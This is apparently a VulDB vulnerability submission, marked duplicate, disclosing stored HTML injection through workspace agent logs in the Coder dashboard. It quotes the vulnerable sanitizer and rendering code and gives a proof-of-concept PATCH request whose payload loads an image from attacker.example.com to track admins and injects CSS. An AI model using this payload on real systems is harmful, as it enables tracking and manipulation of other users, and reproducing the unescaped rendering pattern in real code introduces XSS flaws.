| Título | coder v2.33.5 (commit 13bf0e1) Cross Site Scripting |
|---|
| Descrição | Stored Cross-Site Scripting via Workspace Agent Log Output
### Summary
Workspace agent log output is rendered in the Coder dashboard without HTML encoding. A workspace agent can inject arbitrary HTML into the dashboard, which executes in the browser of any user who views the affected workspace page. The current Content Security Policy blocks inline JavaScript but permits CSS injection and external image loading.
### Details
Agent log entries are submitted via `PATCH /api/v2/workspaceagents/me/logs`. The server-side sanitizer in `codersdk/agentsdk/logs_sanitize.go` strips only invalid UTF-8 sequences and NUL bytes -- HTML characters pass through unchanged:
```go
func SanitizeLogOutput(s string) string {
s = strings.ToValidUTF8(s, "❌")
return strings.ReplaceAll(s, "\x00", "❌")
}
```
On the client, `site/src/modules/resources/AgentLogs/AgentLogLine.tsx` (lines 21-35) converts log output to HTML using `ansi-to-html` v0.7.2, then passes it to `dangerouslySetInnerHTML`:
```tsx
const convert = new AnsiToHTML(); // escapeXML defaults to false in v0.7.2
const output = useMemo(() => {
return convert.toHtml(line.output.split(/\r/g).pop() as string);
}, [line.output]);
// ...
<span dangerouslySetInnerHTML={{ __html: output }} />
```
`ansi-to-html` v0.7.2 sets `escapeXML: false` by default, so HTML in log output is passed verbatim into the DOM. The log entry is stored on the server and rendered to every user who loads the workspace build or resource page.
The active CSP (`script-src 'self'` without `unsafe-inline`) blocks inline JavaScript. However, `style-src 'self' 'unsafe-inline'` permits injected `<style>` tags, and `img-src 'self' https: data: blob:` permits external image requests.
### PoC
The workspace agent submits a log entry containing HTML using its agent token. No other privileges or interaction are required from the attacker beyond having a provisioned workspace.
```
PATCH /api/v2/workspaceagents/me/logs HTTP/1.1
Host: coder.example.com
Authorization: Bearer <workspace-agent-token>
Content-Type: application/json
{
"logs": [
{
"output": "<img src=\"https://attacker.example.com/track\"><style>html{filter:invert(1)}</style>",
"level": "info"
}
]
}
```
Any user (including admins) who views the workspace build or resource page will have the injected HTML rendered in their browser. The `<img>` tag fires a cross-origin request, confirming admin access and timing to the attacker. The `<style>` tag affects the full page layout.
### Impact
Any user with a provisioned workspace can inject persistent HTML into the Coder dashboard. The injected content is visible to all users who view the workspace, including organization admins. With the current CSP, JavaScript execution is blocked, but CSS injection and cross-origin image loading are possible, enabling page manipulation and tracking of privileged user access.
### Environment
commit 13bf0e1 (v2.33.5)
|
|---|
| Fonte | ⚠️ https://github.com/coder/coder/issues/26873 |
|---|
| Utilizador | geochen (UID 78995) |
|---|
| Submissão | 21/08/2026 01h14 (há 28 dias) |
|---|
| Moderação | 17/09/2026 07h27 (27 days later) |
|---|
| Estado | Duplicado |
|---|
| Entrada VulDB | 376747 [Coder até 2.29.16/2.32.6/2.33.7/2.34.1 AgentLogLine Elevação de Privilégios] |
|---|
| Pontos | 0 |
|---|